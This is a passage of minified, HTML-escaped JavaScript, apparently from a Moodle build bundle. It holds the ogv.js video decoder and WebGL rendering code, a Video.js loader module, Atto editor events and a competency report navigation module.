t&amp;&amp;defineProperties(e.prototype,t),i&amp;&amp;defineProperties(e,i),e}}();i(566);var d=i(814),h=i(761),u=function(){function StreamFile(e){var t=e.url,i=void 0===t?&quot;&quot;:t,s=e.chunkSize,h=void 0===s?1048576:s,u=e.cacheSize,c=void 0===u?0:u,l=e.progressive,f=void 0===l||l;!function(e,t){if(!(e instanceof t))throw new TypeError(&quot;Cannot call a class as a function&quot;)}(this,StreamFile),this.length=-1,this.loaded=!1,this.loading=!1,this.seekable=!1,this.buffering=!1,this.seeking=!1,this.progressive=f,Object.defineProperties(this,{offset:{get:function(){return this._cache.readOffset}},eof:{get:function(){return this.length===this._cache.readOffset}}}),this.url=i,this.headers={},this._cache=new d({cacheSize:c}),this._backend=null,this._cachever=0,this._chunkSize=h}return s(StreamFile,[{key:&quot;load&quot;,value:function(){var e=this;return new Promise((function(t,i){if(e.loading)throw new Error(&quot;cannot load when loading&quot;);if(e.loaded)throw new Error(&quot;cannot load when loaded&quot;);e.loading=!0,e._openBackend().then((function(i){e.seekable=i.seekable,e.headers=i.headers,e.length=i.length,e.loaded=!0,e.loading=!1,t()})).catch((function(t){&quot;AbortError&quot;!==t.name&amp;&amp;(e.loading=!1),i(t)}))}))}},{key:&quot;_openBackend&quot;,value:function(){var e=this;return new Promise((function(t,i){if(e._backend)t(e._backend);else if(e.eof)i(new Error(&quot;cannot open at end of file&quot;));else{var s=e._cache,d=e._chunkSize,u=s.bytesReadable(d),c=s.readOffset+u;if(s.seekWrite(c),e.length&gt;=0&amp;&amp;c&gt;=e.length)return void t(null);var l=e._clampToLength(s.writeOffset+s.bytesWritable(d))-s.writeOffset;if(0===l)t(null);else{var f=e._backend=new h({url:e.url,offset:e._cache.writeOffset,length:l,cachever:e._cachever,progressive:e.progressive}),_=null,p=function(){f!==e._backend?(_(),i(new Error(&quot;invalid state&quot;))):(f.on(&quot;buffer&quot;,(function(t){f===e._backend&amp;&amp;e._cache.write(t)})),f.on(&quot;done&quot;,(function(){f===e._backend&amp;&amp;(-1===e.length&amp;&amp;(e.length=e._backend.offset+e._backend.bytesRead),e._backend=null)})),t(f))},m=function(t){f!==e._backend?i(new Error(&quot;invalid state&quot;)):(e._backend=null,i(t))};_=function(){f.off(&quot;open&quot;,p),f.off(&quot;error&quot;,m)},f.on(&quot;open&quot;,p),f.on(&quot;error&quot;,m),f.on(&quot;cachever&quot;,(function(){e._cachever++})),f.load()}}}))}},{key:&quot;_readAhead&quot;,value:function(){var e=this;return new Promise((function(t,i){e._backend||e.eof?t():e._openBackend().then((function(){t()})).catch((function(e){i(e)}))}))}},{key:&quot;seek&quot;,value:function(e){var t=this;return new Promise((function(i,s){if(!t.loaded||t.buffering||t.seeking)throw new Error(&quot;invalid state&quot;);if(e!==(0|e)||e&lt;0)throw new Error(&quot;invalid input&quot;);if(t.length&gt;=0&amp;&amp;e&gt;t.length)throw new Error(&quot;seek past end of file&quot;);if(!t.seekable)throw new Error(&quot;seek on non-seekable stream&quot;);t._backend&amp;&amp;t.abort(),t._cache.seekRead(e),t._cache.seekWrite(e),t._readAhead().then(i).catch(s)}))}},{key:&quot;read&quot;,value:function(e){var t=this;return this.buffer(e).then((function(e){return t.readSync(e)}))}},{key:&quot;readSync&quot;,value:function(e){var t=this.bytesAvailable(e),i=new Uint8Array(t);if(this.readBytes(i)!==t)throw new Error(&quot;failed to read expected data&quot;);return i.buffer}},{key:&quot;readBytes&quot;,value:function(e){if(!this.loaded||this.buffering||this.seeking)throw new Error(&quot;invalid state&quot;);if(!(e instanceof Uint8Array))throw new Error(&quot;invalid input&quot;);var t=this._cache.readBytes(e);return this._readAhead(),t}},{key:&quot;buffer&quot;,value:function(e){var t=this;return new Promise((function(i,s){if(!t.loaded||t.buffering||t.seeking)throw new Error(&quot;invalid state&quot;);if(e!==(0|e)||e&lt;0)throw new Error(&quot;invalid input&quot;);var d=t._clampToLength(t.offset+e),h=d-t.offset,u=t.bytesAvailable(h);u&gt;=h?i(u):(t.buffering=!0,t._openBackend().then((function(i){return i?i.bufferToOffset(d).then((function(){return t.buffering=!1,t.buffer(e)})):Promise.resolve(u)})).then((function(e){t.buffering=!1,i(e)})).catch((function(e){&quot;AbortError&quot;!==e.name&amp;&amp;(t.buffering=!1),s(e)})))}))}},{key:&quot;bytesAvailable&quot;,value:function(){var e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:1/0;return this._cache.bytesReadable(e)}},{key:&quot;abort&quot;,value:function(){this.loading&amp;&amp;(this.loading=!1),this.buffering&amp;&amp;(this.buffering=!1),this.seeking&amp;&amp;(this.seeking=!1),this._backend&amp;&amp;(this._backend.abort(),this._backend=null)}},{key:&quot;getBufferedRanges&quot;,value:function(){return this._cache.ranges()}},{key:&quot;_clampToLength&quot;,value:function(e){return this.length&lt;0?e:Math.min(this.length,e)}}]),StreamFile}();e.exports=u},826:e=&gt;{e.exports={vertex:&quot;precision lowp float;\n\nattribute vec2 aPosition;\nattribute vec2 aLumaPosition;\nattribute vec2 aChromaPosition;\nvarying vec2 vLumaPosition;\nvarying vec2 vChromaPosition;\nvoid main() {\n    gl_Position = vec4(aPosition, 0, 1);\n    vLumaPosition = aLumaPosition;\n    vChromaPosition = aChromaPosition;\n}\n&quot;,fragment:&quot;// inspired by https://github.com/mbebenita/Broadway/blob/master/Player/canvas.js\n\nprecision lowp float;\n\nuniform sampler2D uTextureY;\nuniform sampler2D uTextureCb;\nuniform sampler2D uTextureCr;\nvarying vec2 vLumaPosition;\nvarying vec2 vChromaPosition;\nvoid main() {\n   // Y, Cb, and Cr planes are uploaded as LUMINANCE textures.\n   float fY = texture2D(uTextureY, vLumaPosition).x;\n   float fCb = texture2D(uTextureCb, vChromaPosition).x;\n   float fCr = texture2D(uTextureCr, vChromaPosition).x;\n\n   // Premultipy the Y...\n   float fYmul = fY * 1.1643828125;\n\n   // And convert that to RGB!\n   gl_FragColor = vec4(\n     fYmul + 1.59602734375 * fCr - 0.87078515625,\n     fYmul - 0.39176171875 * fCb - 0.81296875 * fCr + 0.52959375,\n     fYmul + 2.017234375   * fCb - 1.081390625,\n     1\n   );\n}\n&quot;,vertexStripe:&quot;precision lowp float;\n\nattribute vec2 aPosition;\nattribute vec2 aTexturePosition;\nvarying vec2 vTexturePosition;\n\nvoid main() {\n    gl_Position = vec4(aPosition, 0, 1);\n    vTexturePosition = aTexturePosition;\n}\n&quot;,fragmentStripe:&quot;// extra &#039;stripe&#039; texture fiddling to work around IE 11&#039;s poor performance on gl.LUMINANCE and gl.ALPHA textures\n\nprecision lowp float;\n\nuniform sampler2D uStripe;\nuniform sampler2D uTexture;\nvarying vec2 vTexturePosition;\nvoid main() {\n   // Y, Cb, and Cr planes are mapped into a pseudo-RGBA texture\n   // so we can upload them without expanding the bytes on IE 11\n   // which doesn&#039;t allow LUMINANCE or ALPHA textures\n   // The stripe textures mark which channel to keep for each pixel.\n   // Each texture extraction will contain the relevant value in one\n   // channel only.\n\n   float fLuminance = dot(\n      texture2D(uStripe, vTexturePosition),\n      texture2D(uTexture, vTexturePosition)\n   );\n\n   gl_FragColor = vec4(fLuminance, fLuminance, fLuminance, 1);\n}\n&quot;}},487:e=&gt;{!function(){function FrameSink(e,t){throw new Error(&quot;abstract&quot;)}FrameSink.prototype.drawFrame=function(e){throw new Error(&quot;abstract&quot;)},FrameSink.prototype.clear=function(){throw new Error(&quot;abstract&quot;)},e.exports=FrameSink}()},926:(e,t,i)=&gt;{!function(){var t=i(487),s=i(627);function SoftwareFrameSink(e){var t=this,i=e.getContext(&quot;2d&quot;),d=null,h=null,u=null;return t.drawFrame=function(t){var c=t.format;e.width===c.displayWidth&amp;&amp;e.height===c.displayHeight||(e.width=c.displayWidth,e.height=c.displayHeight),null!==d&amp;&amp;d.width==c.width&amp;&amp;d.height==c.height||function(e,t){for(var s=(d=i.createImageData(e,t)).data,h=e*t*4,u=0;u&lt;h;u+=4)s[u+3]=255}(c.width,c.height),s.convertYCbCr(t,d.data);var l,f=c.cropWidth!=c.displayWidth||c.cropHeight!=c.displayHeight;f?(h||function(e,t){(h=document.createElement(&quot;canvas&quot;)).width=e,h.height=t,u=h.getContext(&quot;2d&quot;)}(c.cropWidth,c.cropHeight),l=u):l=i,l.putImageData(d,-c.cropLeft,-c.cropTop,c.cropLeft,c.cropTop,c.cropWidth,c.cropHeight),f&amp;&amp;i.drawImage(h,0,0,c.displayWidth,c.displayHeight)},t.clear=function(){i.clearRect(0,0,e.width,e.height)},t}SoftwareFrameSink.prototype=Object.create(t.prototype),e.exports=SoftwareFrameSink}()},895:(e,t,i)=&gt;{!function(){var t=i(487),s=i(826);function WebGLFrameSink(e){var t,i,d=this,h=WebGLFrameSink.contextForCanvas(e);if(null===h)throw new Error(&quot;WebGL unavailable&quot;);function compileShader(e,t){var i=h.createShader(e);if(h.shaderSource(i,t),h.compileShader(i),!h.getShaderParameter(i,h.COMPILE_STATUS)){var s=h.getShaderInfoLog(i);throw h.deleteShader(i),new Error(&quot;GL shader compilation for &quot;+e+&quot; failed: &quot;+s)}return i}var u,c,l,f,_,p,m,g,v,y,b=new Float32Array([-1,-1,1,-1,-1,1,-1,1,1,-1,1,1]),T={},k={},P={};function createOrReuseTexture(e){return T[e]||(T[e]=h.createTexture()),T[e]}function uploadTexture(e,t,i,s){var d=createOrReuseTexture(e);if(h.activeTexture(h.TEXTURE0),WebGLFrameSink.stripe){var u=!T[e+&quot;_temp&quot;],c=createOrReuseTexture(e+&quot;_temp&quot;);h.bindTexture(h.TEXTURE_2D,c),u?(h.texParameteri(h.TEXTURE_2D,h.TEXTURE_WRAP_S,h.CLAMP_TO_EDGE),h.texParameteri(h.TEXTURE_2D,h.TEXTURE_WRAP_T,h.CLAMP_TO_EDGE),h.texParameteri(h.TEXTURE_2D,h.TEXTURE_MIN_FILTER,h.NEAREST),h.texParameteri(h.TEXTURE_2D,h.TEXTURE_MAG_FILTER,h.NEAREST),h.texImage2D(h.TEXTURE_2D,0,h.RGBA,t/4,i,0,h.RGBA,h.UNSIGNED_BYTE,s)):h.texSubImage2D(h.TEXTURE_2D,0,0,0,t/4,i,h.RGBA,h.UNSIGNED_BYTE,s);var l=T[e+&quot;_stripe&quot;],f=!l;f&amp;&amp;(l=createOrReuseTexture(e+&quot;_stripe&quot;)),h.bindTexture(h.TEXTURE_2D,l),f&amp;&amp;(h.texParameteri(h.TEXTURE_2D,h.TEXTURE_WRAP_S,h.CLAMP_TO_EDGE),h.texParameteri(h.TEXTURE_2D,h.TEXTURE_WRAP_T,h.CLAMP_TO_EDGE),h.texParameteri(h.TEXTURE_2D,h.TEXTURE_MIN_FILTER,h.NEAREST),h.texParameteri(h.TEXTURE_2D,h.TEXTURE_MAG_FILTER,h.NEAREST),h.texImage2D(h.TEXTURE_2D,0,h.RGBA,t,1,0,h.RGBA,h.UNSIGNED_BYTE,function(e){if(P[e])return P[e];for(var t=e,i=new Uint32Array(t),s=0;s&lt;t;s+=4)i[s]=255,i[s+1]=65280,i[s+2]=16711680,i[s+3]=4278190080;return P[e]=new Uint8Array(i.buffer)}(t)))}else h.bindTexture(h.TEXTURE_2D,d),h.texParameteri(h.TEXTURE_2D,h.TEXTURE_WRAP_S,h.CLAMP_TO_EDGE),h.texParameteri(h.TEXTURE_2D,h.TEXTURE_WRAP_T,h.CLAMP_TO_EDGE),h.texParameteri(h.TEXTURE_2D,h.TEXTURE_MIN_FILTER,h.LINEAR),h.texParameteri(h.TEXTURE_2D,h.TEXTURE_MAG_FILTER,h.LINEAR),h.texImage2D(h.TEXTURE_2D,0,h.LUMINANCE,t,i,0,h.LUMINANCE,h.UNSIGNED_BYTE,s)}function unpackTexture(e,t,s){var d=T[e];h.useProgram(i);var m=k[e];m||(h.activeTexture(h.TEXTURE0),h.bindTexture(h.TEXTURE_2D,d),h.texParameteri(h.TEXTURE_2D,h.TEXTURE_WRAP_S,h.CLAMP_TO_EDGE),h.texParameteri(h.TEXTURE_2D,h.TEXTURE_WRAP_T,h.CLAMP_TO_EDGE),h.texParameteri(h.TEXTURE_2D,h.TEXTURE_MIN_FILTER,h.LINEAR),h.texParameteri(h.TEXTURE_2D,h.TEXTURE_MAG_FILTER,h.LINEAR),h.texImage2D(h.TEXTURE_2D,0,h.RGBA,t,s,0,h.RGBA,h.UNSIGNED_BYTE,null),m=k[e]=h.createFramebuffer()),h.bindFramebuffer(h.FRAMEBUFFER,m),h.framebufferTexture2D(h.FRAMEBUFFER,h.COLOR_ATTACHMENT0,h.TEXTURE_2D,d,0);var g=T[e+&quot;_temp&quot;];h.activeTexture(h.TEXTURE1),h.bindTexture(h.TEXTURE_2D,g),h.uniform1i(p,1);var v=T[e+&quot;_stripe&quot;];h.activeTexture(h.TEXTURE2),h.bindTexture(h.TEXTURE_2D,v),h.uniform1i(_,2),h.bindBuffer(h.ARRAY_BUFFER,u),h.enableVertexAttribArray(c),h.vertexAttribPointer(c,2,h.FLOAT,!1,0,0),h.bindBuffer(h.ARRAY_BUFFER,l),h.enableVertexAttribArray(f),h.vertexAttribPointer(f,2,h.FLOAT,!1,0,0),h.viewport(0,0,t,s),h.drawArrays(h.TRIANGLES,0,b.length/2),h.bindFramebuffer(h.FRAMEBUFFER,null)}function attachTexture(e,i,s){h.activeTexture(i),h.bindTexture(h.TEXTURE_2D,T[e]),h.texParameteri(h.TEXTURE_2D,h.TEXTURE_WRAP_S,h.CLAMP_TO_EDGE),h.texParameteri(h.TEXTURE_2D,h.TEXTURE_WRAP_T,h.CLAMP_TO_EDGE),h.texParameteri(h.TEXTURE_2D,h.TEXTURE_MIN_FILTER,h.LINEAR),h.texParameteri(h.TEXTURE_2D,h.TEXTURE_MAG_FILTER,h.LINEAR),h.uniform1i(h.getUniformLocation(t,e),s)}function initProgram(e,t){var i=compileShader(h.VERTEX_SHADER,e),s=compileShader(h.FRAGMENT_SHADER,t),d=h.createProgram();if(h.attachShader(d,i),h.attachShader(d,s),h.linkProgram(d),!h.getProgramParameter(d,h.LINK_STATUS)){var u=h.getProgramInfoLog(d);throw h.deleteProgram(d),new Error(&quot;GL program linking failed: &quot;+u)}return d}return d.drawFrame=function(T){var k=T.format,P=!t||e.width!==k.displayWidth||e.height!==k.displayHeight;if(P&amp;&amp;(e.width=k.displayWidth,e.height=k.displayHeight,d.clear()),t||function(){if(WebGLFrameSink.stripe){i=initProgram(s.vertexStripe,s.fragmentStripe),h.getAttribLocation(i,&quot;aPosition&quot;),l=h.createBuffer();var e=new Float32Array([0,0,1,0,0,1,0,1,1,0,1,1]);h.bindBuffer(h.ARRAY_BUFFER,l),h.bufferData(h.ARRAY_BUFFER,e,h.STATIC_DRAW),f=h.getAttribLocation(i,&quot;aTexturePosition&quot;),_=h.getUniformLocation(i,&quot;uStripe&quot;),p=h.getUniformLocation(i,&quot;uTexture&quot;)}t=initProgram(s.vertex,s.fragment),u=h.createBuffer(),h.bindBuffer(h.ARRAY_BUFFER,u),h.bufferData(h.ARRAY_BUFFER,b,h.STATIC_DRAW),c=h.getAttribLocation(t,&quot;aPosition&quot;),m=h.createBuffer(),g=h.getAttribLocation(t,&quot;aLumaPosition&quot;),v=h.createBuffer(),y=h.getAttribLocation(t,&quot;aChromaPosition&quot;)}(),P){var setupTexturePosition=function(e,t,i){var s=k.cropLeft/i,d=(k.cropLeft+k.cropWidth)/i,u=(k.cropTop+k.cropHeight)/k.height,c=k.cropTop/k.height,l=new Float32Array([s,u,d,u,s,c,s,c,d,u,d,c]);h.bindBuffer(h.ARRAY_BUFFER,e),h.bufferData(h.ARRAY_BUFFER,l,h.STATIC_DRAW)};setupTexturePosition(m,0,T.y.stride),setupTexturePosition(v,0,T.u.stride*k.width/k.chromaWidth)}uploadTexture(&quot;uTextureY&quot;,T.y.stride,k.height,T.y.bytes),uploadTexture(&quot;uTextureCb&quot;,T.u.stride,k.chromaHeight,T.u.bytes),uploadTexture(&quot;uTextureCr&quot;,T.v.stride,k.chromaHeight,T.v.bytes),WebGLFrameSink.stripe&amp;&amp;(unpackTexture(&quot;uTextureY&quot;,T.y.stride,k.height),unpackTexture(&quot;uTextureCb&quot;,T.u.stride,k.chromaHeight),unpackTexture(&quot;uTextureCr&quot;,T.v.stride,k.chromaHeight)),h.useProgram(t),h.viewport(0,0,e.width,e.height),attachTexture(&quot;uTextureY&quot;,h.TEXTURE0,0),attachTexture(&quot;uTextureCb&quot;,h.TEXTURE1,1),attachTexture(&quot;uTextureCr&quot;,h.TEXTURE2,2),h.bindBuffer(h.ARRAY_BUFFER,u),h.enableVertexAttribArray(c),h.vertexAttribPointer(c,2,h.FLOAT,!1,0,0),h.bindBuffer(h.ARRAY_BUFFER,m),h.enableVertexAttribArray(g),h.vertexAttribPointer(g,2,h.FLOAT,!1,0,0),h.bindBuffer(h.ARRAY_BUFFER,v),h.enableVertexAttribArray(y),h.vertexAttribPointer(y,2,h.FLOAT,!1,0,0),h.drawArrays(h.TRIANGLES,0,b.length/2)},d.clear=function(){h.viewport(0,0,e.width,e.height),h.clearColor(0,0,0,0),h.clear(h.COLOR_BUFFER_BIT)},d.clear(),d}WebGLFrameSink.stripe=-1!==navigator.userAgent.indexOf(&quot;Windows&quot;),WebGLFrameSink.contextForCanvas=function(e){var t={preferLowPowerToHighPerformance:!0,powerPreference:&quot;low-power&quot;,failIfMajorPerformanceCaveat:!0,preserveDrawingBuffer:!0};return e.getContext(&quot;webgl&quot;,t)||e.getContext(&quot;experimental-webgl&quot;,t)},WebGLFrameSink.isAvailable=function(){var e,t=document.createElement(&quot;canvas&quot;);t.width=1,t.height=1;try{e=WebGLFrameSink.contextForCanvas(t)}catch(e){return!1}if(e){var i=e.TEXTURE0,s=e.createTexture(),d=new Uint8Array(16),h=WebGLFrameSink.stripe?1:4,u=WebGLFrameSink.stripe?e.RGBA:e.LUMINANCE,c=WebGLFrameSink.stripe?e.NEAREST:e.LINEAR;return e.activeTexture(i),e.bindTexture(e.TEXTURE_2D,s),e.texParameteri(e.TEXTURE_2D,e.TEXTURE_WRAP_S,e.CLAMP_TO_EDGE),e.texParameteri(e.TEXTURE_2D,e.TEXTURE_WRAP_T,e.CLAMP_TO_EDGE),e.texParameteri(e.TEXTURE_2D,e.TEXTURE_MIN_FILTER,c),e.texParameteri(e.TEXTURE_2D,e.TEXTURE_MAG_FILTER,c),e.texImage2D(e.TEXTURE_2D,0,u,h,4,0,u,e.UNSIGNED_BYTE,d),!e.getError()}return!1},WebGLFrameSink.prototype=Object.create(t.prototype),e.exports=WebGLFrameSink}()},627:(e,t,i)=&gt;{!function(){var t=i(877);e.exports={convertYCbCr:function(e,i){var s=0|e.format.width,d=0|e.format.height,h=0|t(e.format.width/e.format.chromaWidth),u=0|t(e.format.height/e.format.chromaHeight),c=e.y.bytes,l=e.u.bytes,f=e.v.bytes,_=0|e.y.stride,p=0|e.u.stride,m=0|e.v.stride,g=s&lt;&lt;2,v=0,y=0,b=0,T=0,k=0,P=0,w=0,E=0,x=0,A=0,R=0,O=0,F=0,S=0,C=0,B=0,D=0,M=0;if(1==h&amp;&amp;1==u)for(w=0,E=g,M=0,B=0;B&lt;d;B+=2){for(b=(y=B*_|0)+_|0,T=M*p|0,k=M*m|0,C=0;C&lt;s;C+=2)x=0|l[T++],O=(409*(A=0|f[k++])|0)-57088|0,F=(100*x|0)+(208*A|0)-34816|0,S=(516*x|0)-70912|0,R=298*c[y++]|0,i[w]=R+O&gt;&gt;8,i[w+1]=R-F&gt;&gt;8,i[w+2]=R+S&gt;&gt;8,w+=4,R=298*c[y++]|0,i[w]=R+O&gt;&gt;8,i[w+1]=R-F&gt;&gt;8,i[w+2]=R+S&gt;&gt;8,w+=4,R=298*c[b++]|0,i[E]=R+O&gt;&gt;8,i[E+1]=R-F&gt;&gt;8,i[E+2]=R+S&gt;&gt;8,E+=4,R=298*c[b++]|0,i[E]=R+O&gt;&gt;8,i[E+1]=R-F&gt;&gt;8,i[E+2]=R+S&gt;&gt;8,E+=4;w+=g,E+=g,M++}else for(P=0,B=0;B&lt;d;B++)for(D=0,v=B*_|0,T=(M=B&gt;&gt;u)*p|0,k=M*m|0,C=0;C&lt;s;C++)x=0|l[T+(D=C&gt;&gt;h)],O=(409*(A=0|f[k+D])|0)-57088|0,F=(100*x|0)+(208*A|0)-34816|0,S=(516*x|0)-70912|0,R=298*c[v++]|0,i[P]=R+O&gt;&gt;8,i[P+1]=R-F&gt;&gt;8,i[P+2]=R+S&gt;&gt;8,P+=4}}}()},877:e=&gt;{e.exports=function(e){for(var t=0,i=e&gt;&gt;1;0!=i;)i&gt;&gt;=1,t++;if(e!==1&lt;&lt;t)throw&quot;chroma plane dimensions must be power of 2 ratio to luma plane dimensions; got &quot;+e;return t}},731:(e,t,i)=&gt;{!function(){var t=i(487),s=i(926),d=i(895),h={FrameSink:t,SoftwareFrameSink:s,WebGLFrameSink:d,attach:function(e,t){return(&quot;webGL&quot;in(t=t||{})?t.webGL:d.isAvailable())?new d(e,t):new s(e,t)}};e.exports=h}()}},t={};function __webpack_require__(i){var s=t[i];if(void 0!==s)return s.exports;var d=t[i]={exports:{}};return e[i](d,d.exports,__webpack_require__),d.exports}var i={};return(()=&gt;{var e=i,t=__webpack_require__(318);Object.defineProperty(e,&quot;__esModule&quot;,{value:!0}),Object.defineProperty(e,&quot;OGVCompat&quot;,{enumerable:!0,get:function(){return s.default}}),Object.defineProperty(e,&quot;OGVLoader&quot;,{enumerable:!0,get:function(){return d.default}}),Object.defineProperty(e,&quot;OGVMediaError&quot;,{enumerable:!0,get:function(){return h.default}}),Object.defineProperty(e,&quot;OGVMediaType&quot;,{enumerable:!0,get:function(){return u.default}}),Object.defineProperty(e,&quot;OGVPlayer&quot;,{enumerable:!0,get:function(){return c.default}}),Object.defineProperty(e,&quot;OGVTimeRanges&quot;,{enumerable:!0,get:function(){return l.default}}),e.OGVVersion=void 0;var s=t(__webpack_require__(523)),d=t(__webpack_require__(964)),h=t(__webpack_require__(759)),u=t(__webpack_require__(278)),c=t(__webpack_require__(869)),l=t(__webpack_require__(168)),f=&quot;1.8.4-20210702161914-bd3a07f&quot;;e.OGVVersion=f,&quot;object&quot;==typeof window&amp;&amp;(window.OGVCompat=s.default,window.OGVLoader=d.default,window.OGVMediaError=h.default,window.OGVMediaType=u.default,window.OGVTimeRanges=l.default,window.OGVPlayer=c.default,window.OGVVersion=f)})(),i})()},&quot;object&quot;==typeof exports&amp;&amp;&quot;object&quot;==typeof module?module.exports=t():&quot;function&quot;==typeof define&amp;&amp;define.amd?define(&quot;media_videojs/local/ogv/ogv&quot;,[],t):&quot;object&quot;==typeof exports?exports.ogvjs=t():e.ogvjs=t();
define(&quot;media_videojs/loader&quot;,[&quot;exports&quot;,&quot;core/ajax&quot;,&quot;core/config&quot;,&quot;core_filters/events&quot;,&quot;core/localstorage&quot;,&quot;core/notification&quot;,&quot;jquery&quot;],(function(_exports,_ajax,_config,_events,_localstorage,_notification,_jquery){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.setUp=void 0,_ajax=_interopRequireDefault(_ajax),_config=_interopRequireDefault(_config),_localstorage=_interopRequireDefault(_localstorage),_notification=_interopRequireDefault(_notification),_jquery=_interopRequireDefault(_jquery);var _systemImportTransformerGlobalIdentifier=&quot;undefined&quot;!=typeof window?window:&quot;undefined&quot;!=typeof self?self:&quot;undefined&quot;!=typeof global?global:{};function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}let firstLoad,language,langStringCache;_exports.setUp=lang=&gt;{language=lang,firstLoad=!0,notifyVideoJS({detail:{nodes:document.body}}),document.addEventListener(_events.eventTypes.filterContentUpdated,notifyVideoJS)};const notifyVideoJS=e=&gt;{const nodes=(0,_jquery.default)(e.detail.nodes),langStrings=getLanguageJson();nodes.find(&quot;.mediaplugin_videojs&quot;).addBack(&quot;.mediaplugin_videojs&quot;).find(&quot;audio, video&quot;).each(((index,element)=&gt;{const id=(0,_jquery.default)(element).attr(&quot;id&quot;),config=(0,_jquery.default)(element).data(&quot;setup-lazy&quot;),modulePromises=[&quot;function&quot;==typeof _systemImportTransformerGlobalIdentifier.define&amp;&amp;_systemImportTransformerGlobalIdentifier.define.amd?new Promise((function(resolve,reject){_systemImportTransformerGlobalIdentifier.require([&quot;media_videojs/video-lazy&quot;],resolve,reject)})):&quot;undefined&quot;!=typeof module&amp;&amp;module.exports&amp;&amp;&quot;undefined&quot;!=typeof require||&quot;undefined&quot;!=typeof module&amp;&amp;module.component&amp;&amp;_systemImportTransformerGlobalIdentifier.require&amp;&amp;&quot;component&quot;===_systemImportTransformerGlobalIdentifier.require.loader?Promise.resolve(require(&quot;media_videojs/video-lazy&quot;)):Promise.resolve(_systemImportTransformerGlobalIdentifier[&quot;media_videojs/video-lazy&quot;])];config.techOrder&amp;&amp;-1!==config.techOrder.indexOf(&quot;youtube&quot;)&amp;&amp;modulePromises.push(&quot;function&quot;==typeof _systemImportTransformerGlobalIdentifier.define&amp;&amp;_systemImportTransformerGlobalIdentifier.define.amd?new Promise((function(resolve,reject){_systemImportTransformerGlobalIdentifier.require([&quot;media_videojs/Youtube-lazy&quot;],resolve,reject)})):&quot;undefined&quot;!=typeof module&amp;&amp;module.exports&amp;&amp;&quot;undefined&quot;!=typeof require||&quot;undefined&quot;!=typeof module&amp;&amp;module.component&amp;&amp;_systemImportTransformerGlobalIdentifier.require&amp;&amp;&quot;component&quot;===_systemImportTransformerGlobalIdentifier.require.loader?Promise.resolve(require(&quot;media_videojs/Youtube-lazy&quot;)):Promise.resolve(_systemImportTransformerGlobalIdentifier[&quot;media_videojs/Youtube-lazy&quot;])),config.techOrder&amp;&amp;-1!==config.techOrder.indexOf(&quot;OgvJS&quot;)&amp;&amp;(config.ogvjs={worker:!0,wasm:!0,base:_config.default.wwwroot+&quot;/media/player/videojs/ogvloader.php/&quot;+_config.default.jsrev+&quot;/&quot;},modulePromises.push(&quot;function&quot;==typeof _systemImportTransformerGlobalIdentifier.define&amp;&amp;_systemImportTransformerGlobalIdentifier.define.amd?new Promise((function(resolve,reject){_systemImportTransformerGlobalIdentifier.require([&quot;media_videojs/videojs-ogvjs-lazy&quot;],resolve,reject)})):&quot;undefined&quot;!=typeof module&amp;&amp;module.exports&amp;&amp;&quot;undefined&quot;!=typeof require||&quot;undefined&quot;!=typeof module&amp;&amp;module.component&amp;&amp;_systemImportTransformerGlobalIdentifier.require&amp;&amp;&quot;component&quot;===_systemImportTransformerGlobalIdentifier.require.loader?Promise.resolve(require(&quot;media_videojs/videojs-ogvjs-lazy&quot;)):Promise.resolve(_systemImportTransformerGlobalIdentifier[&quot;media_videojs/videojs-ogvjs-lazy&quot;]))),Promise.all([langStrings,...modulePromises]).then((_ref=&gt;{let[langJson,videojs]=_ref;firstLoad&amp;&amp;(videojs.addLanguage(language,langJson),firstLoad=!1),videojs(id,config)})).catch(_notification.default.exception)}))},getLanguageJson=()=&gt;{if(langStringCache)return Promise.resolve(langStringCache);const cacheKey=&quot;media_videojs/&quot;.concat(language),rawCacheContent=_localstorage.default.get(cacheKey);if(rawCacheContent){const cacheContent=JSON.parse(rawCacheContent);return langStringCache=cacheContent,Promise.resolve(langStringCache)}const request={methodname:&quot;media_videojs_get_language&quot;,args:{lang:language}};return _ajax.default.call([request])[0].then((langStringData=&gt;(_localstorage.default.set(cacheKey,langStringData),langStringData))).then((result=&gt;JSON.parse(result))).then((langStrings=&gt;(langStringCache=langStrings,langStrings)))}}));
define(&quot;editor_atto/events&quot;,[&quot;exports&quot;,&quot;core/event_dispatcher&quot;],(function(_exports,_event_dispatcher){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.notifyButtonHighlightToggled=_exports.eventTypes=void 0;
/**
   * Javascript events for the `editor_atto` plugin.
   *
   * @module     editor_atto/events
   * @copyright  2021 Jun Pataleta &lt;jun@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   * @since      3.10.5
   */
const eventTypes={attoButtonHighlightToggled:&quot;editor_atto/attoButtonHighlightToggled&quot;};_exports.eventTypes=eventTypes;_exports.notifyButtonHighlightToggled=(attoButton,buttonName,highlight)=&gt;(0,_event_dispatcher.dispatchEvent)(eventTypes.attoButtonHighlightToggled,{buttonName:buttonName,highlight:highlight},attoButton)}));
/**
 * Module to navigation between users in a course.
 *
 * @module report_competency/user_course_navigation
 * @copyright  2015 Damyon Wiese
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;report_competency/user_course_navigation&quot;,[&quot;jquery&quot;],(function($){var UserCourseNavigation=function(userSelector,moduleSelector,baseUrl,userId,courseId,moduleId){this._baseUrl=baseUrl,this._userId=userId+&quot;&quot;,this._courseId=courseId,this._moduleId=moduleId,$(userSelector).on(&quot;change&quot;,this._userChanged.bind(this)),$(moduleSelector).on(&quot;change&quot;,this._moduleChanged.bind(this))};return UserCourseNavigation.prototype._userChanged=function(e){M.util.js_pending(&quot;report_competency/user_course_navigation:_userChanged&quot;);var queryStr=&quot;?user=&quot;+$(e.target).val()+&quot;&amp;id=&quot;+this._courseId+&quot;&amp;mod=&quot;+this._moduleId;document.location=this._baseUrl+queryStr},UserCourseNavigation.prototype._moduleChanged=function(e){M.util.js_pending(&quot;report_competency/user_course_navigation:_moduleChanged&quot;);var queryStr=&quot;?mod=&quot;+$(e.target).val()+&quot;&amp;id=&quot;+this._courseId+&quot;&amp;user=&quot;+this._userId;document.location=this._baseUrl+queryStr},UserCourseNavigation.prototype._userId=null,UserCourseNavigation.prototype._moduleId=null,UserCourseNavigation.prototype._courseId=null,UserCourseNavigation.prototype._baseUrl=null,UserCourseNavigation}));
/**
 * Module to enable inline editing of a comptency grade.
 *
